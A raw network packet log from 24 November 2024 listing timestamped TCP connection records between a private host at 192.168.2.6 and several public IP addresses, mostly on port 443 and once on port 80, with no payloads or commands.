Nov 24, 2024 04:20:32.650233030 CET	49783	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:32.650238037 CET	443	49783	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:32.861272097 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:32.861939907 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:32.861958027 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:32.862320900 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:32.862325907 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:32.911066055 CET	443	49787	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:32.911441088 CET	49787	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:32.911451101 CET	443	49787	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:32.911892891 CET	49787	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:32.911897898 CET	443	49787	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:32.929507017 CET	443	49788	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:32.930354118 CET	49788	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:32.930368900 CET	443	49788	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:32.930881023 CET	49788	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:32.930886030 CET	443	49788	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:32.958532095 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:32.959517002 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:32.959530115 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:32.959990978 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:32.959995985 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.092735052 CET	443	49783	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.092806101 CET	443	49783	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.093003988 CET	49783	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.093069077 CET	49783	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.093069077 CET	49783	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.093086958 CET	443	49783	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.093095064 CET	443	49783	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.095659971 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.095701933 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.095876932 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.096007109 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.096015930 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.284599066 CET	443	49791	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:33.284684896 CET	49791	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:33.286170006 CET	49791	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:33.286200047 CET	443	49791	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:33.286545038 CET	443	49791	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:33.304335117 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.304425955 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.304624081 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.304769993 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.304785967 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.304879904 CET	49785	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.304886103 CET	443	49785	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.307362080 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.307394981 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.308001041 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.308284044 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.308298111 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.325233936 CET	49791	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:33.354171038 CET	443	49787	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.354250908 CET	443	49787	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.354408979 CET	49787	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.354455948 CET	49787	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.354455948 CET	49787	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.354470015 CET	443	49787	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.354477882 CET	443	49787	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.356636047 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.356667995 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.356767893 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.356897116 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.356905937 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.367341995 CET	443	49791	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:33.393697977 CET	443	49790	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:33.393805027 CET	49790	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:33.396430969 CET	443	49788	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.396632910 CET	443	49788	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.396744013 CET	49788	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.396780014 CET	49788	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.396780014 CET	49788	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.396797895 CET	443	49788	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.396806955 CET	443	49788	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.397464037 CET	49790	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:33.397485018 CET	443	49790	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:33.397800922 CET	443	49790	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:33.397917986 CET	49790	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:33.398119926 CET	49790	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:33.399251938 CET	49799	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.399280071 CET	443	49799	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.399332047 CET	49799	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.399434090 CET	49799	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.399446011 CET	443	49799	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.406130075 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.406205893 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.406320095 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.406343937 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.406343937 CET	49789	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.406358004 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.406368017 CET	443	49789	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.408663034 CET	49800	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.408727884 CET	443	49800	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.408823013 CET	49800	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.408958912 CET	49800	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:33.408983946 CET	443	49800	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:33.419941902 CET	49801	443	192.168.2.6	172.217.17.78
Nov 24, 2024 04:20:33.419970989 CET	443	49801	172.217.17.78	192.168.2.6
Nov 24, 2024 04:20:33.420164108 CET	49801	443	192.168.2.6	172.217.17.78
Nov 24, 2024 04:20:33.420377970 CET	49801	443	192.168.2.6	172.217.17.78
Nov 24, 2024 04:20:33.420392036 CET	443	49801	172.217.17.78	192.168.2.6
Nov 24, 2024 04:20:33.443335056 CET	443	49790	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:33.818125963 CET	443	49791	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:33.818200111 CET	443	49791	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:33.818325996 CET	49791	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:33.818361998 CET	443	49791	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:33.818381071 CET	49791	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:33.818381071 CET	49791	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:33.818387985 CET	443	49791	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:33.818396091 CET	443	49791	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:33.861736059 CET	49802	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:33.861767054 CET	443	49802	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:33.861875057 CET	49802	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:33.862149954 CET	49802	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:33.862163067 CET	443	49802	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:34.066201925 CET	443	49790	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:34.066263914 CET	443	49790	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:34.066327095 CET	49790	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:34.066402912 CET	49790	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:34.066437006 CET	443	49790	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:34.066461086 CET	49790	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:34.066524982 CET	49790	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:34.067912102 CET	49803	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:34.067945004 CET	443	49803	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:34.068100929 CET	49803	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:34.068319082 CET	49803	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:34.068334103 CET	443	49803	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:34.375447989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:34.375516891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:34.486586094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:34.591120005 CET	49801	443	192.168.2.6	172.217.17.78
Nov 24, 2024 04:20:34.591212988 CET	49782	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:34.606098890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:34.824362993 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:34.824775934 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:34.824790955 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:34.825361013 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:34.825371981 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.022118092 CET	49805	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:35.022165060 CET	443	49805	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:35.022325993 CET	49805	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:35.022845030 CET	49805	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:35.022882938 CET	443	49805	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:35.030716896 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.031061888 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.031083107 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.031519890 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.031524897 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.117981911 CET	443	49799	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.118474960 CET	49799	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.118488073 CET	443	49799	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.118863106 CET	49799	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.118868113 CET	443	49799	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.126332045 CET	443	49800	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.126646042 CET	49800	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.126668930 CET	443	49800	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.127091885 CET	49800	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.127099037 CET	443	49800	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.140990019 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.141288996 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.141305923 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.141691923 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.141696930 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.260082006 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.260138035 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.260190010 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.260683060 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.260699987 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.260710955 CET	49795	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.260715961 CET	443	49795	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.263166904 CET	49806	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.263206005 CET	443	49806	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.263330936 CET	49806	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.263499975 CET	49806	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.263511896 CET	443	49806	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.339087009 CET	443	49802	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:35.339160919 CET	49802	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:35.340487003 CET	49802	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:35.340503931 CET	443	49802	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:35.340729952 CET	443	49802	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:35.342149973 CET	49802	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:35.387335062 CET	443	49802	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:35.439541101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:35.439614058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:35.465224981 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.465306044 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.465503931 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.465631962 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.465661049 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.465676069 CET	49796	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.465682983 CET	443	49796	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.468354940 CET	49807	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.468395948 CET	443	49807	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.468483925 CET	49807	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.468738079 CET	49807	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.468751907 CET	443	49807	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.552644968 CET	443	49799	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.552732944 CET	443	49799	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.552784920 CET	49799	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.553191900 CET	49799	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.553191900 CET	49799	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.553208113 CET	443	49799	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.553219080 CET	443	49799	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.555749893 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.555855036 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.555931091 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.556467056 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.556502104 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.561095953 CET	443	49800	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.561165094 CET	443	49800	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.561753035 CET	49800	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.561948061 CET	49800	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.561968088 CET	443	49800	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.572832108 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.572861910 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.573193073 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.573421955 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.573435068 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.585725069 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.585803986 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.585902929 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.586236954 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.586236954 CET	49797	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.586250067 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.586261988 CET	443	49797	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.589126110 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.589168072 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.589241982 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.589376926 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:35.589406013 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:35.802809954 CET	443	49803	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:35.803105116 CET	49803	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:35.819107056 CET	49803	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:35.819114923 CET	443	49803	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:35.840322018 CET	49803	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:35.840332031 CET	443	49803	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:35.871004105 CET	443	49802	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:35.871187925 CET	443	49802	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:35.871458054 CET	49802	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:35.885195971 CET	49802	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:35.885215044 CET	443	49802	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:35.885301113 CET	49802	443	192.168.2.6	184.30.17.174
Nov 24, 2024 04:20:35.885308981 CET	443	49802	184.30.17.174	192.168.2.6
Nov 24, 2024 04:20:36.406472921 CET	443	49803	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:36.406585932 CET	443	49803	20.234.120.54	192.168.2.6
Nov 24, 2024 04:20:36.406696081 CET	49803	443	192.168.2.6	20.234.120.54
Nov 24, 2024 04:20:36.979161978 CET	443	49806	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.018742085 CET	49806	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.018774033 CET	443	49806	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.019424915 CET	49806	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.019432068 CET	443	49806	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.269155025 CET	443	49807	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.315047026 CET	49807	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.377803087 CET	443	49805	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:37.377901077 CET	49805	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:37.389442921 CET	49805	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:37.389472008 CET	443	49805	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:37.389750004 CET	443	49805	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:37.400012970 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.410026073 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.418742895 CET	443	49806	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.418920040 CET	443	49806	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.419003963 CET	49806	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.429965973 CET	49805	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:37.436676025 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.451072931 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.451078892 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.482173920 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.572439909 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.572504997 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.572909117 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.572923899 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.573400974 CET	49807	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.573431969 CET	443	49807	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.573942900 CET	49807	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.573946953 CET	443	49807	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.574105024 CET	49806	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.574105024 CET	49806	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.574143887 CET	443	49806	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.574157953 CET	443	49806	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.586204052 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.586221933 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.586605072 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.586616039 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.587219000 CET	49805	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:37.587409019 CET	49805	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:37.587409019 CET	49805	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:37.587420940 CET	443	49805	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:37.587738991 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.587762117 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.588129044 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.588135004 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.631365061 CET	443	49805	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:37.730901003 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.730979919 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.731054068 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.773904085 CET	49811	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.773930073 CET	443	49811	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.888482094 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.888547897 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.888632059 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.898560047 CET	443	49807	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.898627996 CET	443	49807	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.898840904 CET	49807	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.911240101 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.911298037 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.911766052 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.913165092 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.913225889 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.913444996 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.970972061 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.971000910 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.971012115 CET	49808	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.971018076 CET	49809	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.971028090 CET	443	49809	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.971080065 CET	443	49808	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.974543095 CET	49807	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.974575043 CET	443	49807	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.974586964 CET	49807	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.974600077 CET	443	49807	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.975632906 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.975656986 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.975672960 CET	49810	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.975688934 CET	443	49810	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.976538897 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:37.976564884 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:37.976681948 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:38.034724951 CET	49812	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:38.034739017 CET	443	49812	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:38.074788094 CET	49815	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:38.074814081 CET	443	49815	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:38.074943066 CET	49815	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:38.081222057 CET	49816	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:38.081259012 CET	443	49816	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:38.081511021 CET	49816	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:38.082571983 CET	49817	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:38.082606077 CET	443	49817	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:38.082745075 CET	49817	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:38.090641022 CET	49815	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:38.090655088 CET	443	49815	13.107.246.63	192.168.2.6
